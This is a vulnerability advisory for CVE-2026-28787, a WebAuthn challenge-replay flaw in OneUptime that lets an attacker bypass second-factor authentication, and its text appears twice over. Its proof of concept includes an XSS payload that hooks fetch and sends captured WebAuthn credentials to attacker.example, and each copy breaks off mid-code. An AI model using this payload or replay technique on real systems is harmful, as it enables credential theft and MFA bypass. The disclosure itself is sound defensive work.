CVE-2026-28787

OneUptime is a solution for monitoring and managing online services. In version 10.0.11 and prior, the WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication. No known patches are available.

OneUptime is a solution for monitoring and managing online services. In version 10.0.11 and prior, the WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication. No known patches are available.

Summary

The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.

Details

During WebAuthn authentication, the server generates a random challenge via generateAuthenticationOptions() in Common/Server/Services/UserWebAuthnService.ts (line 164-221). However, the challenge is only returned to the client and never stored in a session or database on the server side.

When the client submits the authentication response, the server reads the expectedChallenge directly from the untrusted request body (Authentication.ts:1042):

// App/FeatureSet/Identity/API/Authentication.ts:1041-1049
} else if (verifyWebAuthn) {
  const expectedChallenge: string = data["challenge"] as string;  // ← client-controlled
  const credential: any = data["credential"];

  await UserWebAuthnService.verifyAuthentication({
    userId: alreadySavedUser.id!.toString(),
    challenge: expectedChallenge,  // ← NOT a server-stored value
    credential: credential,
  });
}

The verifyAuthentication() method then passes this client-provided challenge to @simplewebauthn/server's verifyAuthenticationResponse() as expectedChallenge (UserWebAuthnService.ts:268-270):

const verification: any = await verifyAuthenticationResponse({
  response: data.credential,
  expectedChallenge: data.challenge,  // ← client-controlled value used as "expected"
  expectedOrigin: expectedOrigin,
  expectedRPID: Host.toString(),
  credential: { /* public key from DB */ },
});

Since both the expectedChallenge (from request body) and the challenge embedded in the credential's clientDataJSON originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.

Correct flow vs. OneUptime's flow:

| Step | Correct WebAuthn | OneUptime | |------|-----------------|-----------| | 1. Generate challenge | Server generates random challenge | Same | | 2. Store challenge | Saved in session/DB | Not saved anywhere | | 3. Send to client | Sent to client | Same | | 4. Authenticator signs | Authenticator signs challenge | Same | | 5. Client returns | Returns signed credential | Returns credential + challenge | | 6. Verify | Compares against server-stored value | Compares against client-provided value | | Result | Replay-proof | Replayable |

PoC

Prerequisites:

• An attacker has obtained the victim's password (e.g., credential stuffing, phishing)
• An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)

Steps to reproduce:

1. Capture a valid WebAuthn assertion. Intercept or extract a legitimate authentication request containing challenge and credential fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):

   // XSS payload to intercept WebAuthn authentication
   const origFetch = window.fetch;
   window.fetch = async function(url, opts) {
     if (url.includes('/verify') && opts?.body) {
       const body = JSON.parse(opts.body);
       if (body.data?.credential) {
         // Exfiltrate the assertion
         navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
           challenge: body.data.challenge,
           credential: body.data.credential
         }));
       }
     }
     return…
   

OneUptime is a solution for monitoring and managing online services. In version 10.0.11 and prior, the WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication. No known patches are available.

OneUptime is a solution for monitoring and managing online services. In version 10.0.11 and prior, the WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication. No known patches are available.

Summary

The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.

Details

During WebAuthn authentication, the server generates a random challenge via generateAuthenticationOptions() in Common/Server/Services/UserWebAuthnService.ts (line 164-221). However, the challenge is only returned to the client and never stored in a session or database on the server side.

When the client submits the authentication response, the server reads the expectedChallenge directly from the untrusted request body (Authentication.ts:1042):

// App/FeatureSet/Identity/API/Authentication.ts:1041-1049
} else if (verifyWebAuthn) {
  const expectedChallenge: string = data["challenge"] as string;  // ← client-controlled
  const credential: any = data["credential"];

  await UserWebAuthnService.verifyAuthentication({
    userId: alreadySavedUser.id!.toString(),
    challenge: expectedChallenge,  // ← NOT a server-stored value
    credential: credential,
  });
}

The verifyAuthentication() method then passes this client-provided challenge to @simplewebauthn/server's verifyAuthenticationResponse() as expectedChallenge (UserWebAuthnService.ts:268-270):

const verification: any = await verifyAuthenticationResponse({
  response: data.credential,
  expectedChallenge: data.challenge,  // ← client-controlled value used as "expected"
  expectedOrigin: expectedOrigin,
  expectedRPID: Host.toString(),
  credential: { /* public key from DB */ },
});

Since both the expectedChallenge (from request body) and the challenge embedded in the credential's clientDataJSON originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.

Correct flow vs. OneUptime's flow:

| Step | Correct WebAuthn | OneUptime | |------|-----------------|-----------| | 1. Generate challenge | Server generates random challenge | Same | | 2. Store challenge | Saved in session/DB | Not saved anywhere | | 3. Send to client | Sent to client | Same | | 4. Authenticator signs | Authenticator signs challenge | Same | | 5. Client returns | Returns signed credential | Returns credential + challenge | | 6. Verify | Compares against server-stored value | Compares against client-provided value | | Result | Replay-proof | Replayable |

PoC

Prerequisites:

• An attacker has obtained the victim's password (e.g., credential stuffing, phishing)
• An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)

Steps to reproduce:

1. Capture a valid WebAuthn assertion. Intercept or extract a legitimate authentication request containing challenge and credential fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):

   // XSS payload to intercept WebAuthn authentication
   const origFetch = window.fetch;
   window.fetch = async function(url, opts) {
     if (url.includes('/verify') && opts?.body) {
       const body = JSON.parse(opts.body);
       if (body.data?.credential) {
         // Exfiltrate the assertion
         navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
           challenge: body.data.challenge,
           credential: body.data.credential
         }));
       }
     }
     return…